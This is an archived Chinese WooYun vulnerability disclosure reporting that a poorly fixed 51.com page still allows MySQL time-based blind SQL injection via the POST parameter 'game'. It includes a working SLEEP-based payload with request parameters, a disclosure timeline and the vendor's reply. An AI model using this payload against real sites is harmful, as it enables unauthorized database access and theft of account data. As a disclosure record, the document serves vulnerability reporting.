51.com修复不善可盲注/DBA/4000W帐号信息

admin 2017年5月3日08:18:59评论367 views字数 219阅读0分43秒阅读模式
摘要

2016-05-07: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2016-205980

漏洞标题: 51.com修复不善可盲注/DBA/4000W帐号信息

相关厂商: 51.com

漏洞作者: xyntax

提交时间: 2016-05-07 12:22

公开时间: 2016-06-25 15:20

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: Mysql

2人收藏


漏洞详情

披露状态:

2016-05-07: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

简要描述:

rt

详细说明:

WooYun: 51.com某站点MySQL盲注

修复不善,同一位置game参数仍存在注入

mysql time-based blind

code 区域
Parameter: game (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: a=generate_order&game=1 AND (SELECT * FROM (SELECT(SLEEP(5)))SEIL)&money=500&server=1&username=chtrkovh

漏洞证明:

51.com修复不善可盲注/DBA/4000W帐号信息

51.com修复不善可盲注/DBA/4000W帐号信息

修复方案:

过滤

版权声明:转载请注明来源 xyntax@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-05-11 15:15

厂商回复:

感谢,该漏洞为我们 合作伙伴部分数据,在技术上并没有关联,并不涉及真正的核心数据库。 但还是感谢乌云的小伙伴

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-06-25 16:30 | Xbtsec ( 路人 | Rank:2 漏洞数:1 | 有女朋友么?????????)

    0

    好厂商。。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin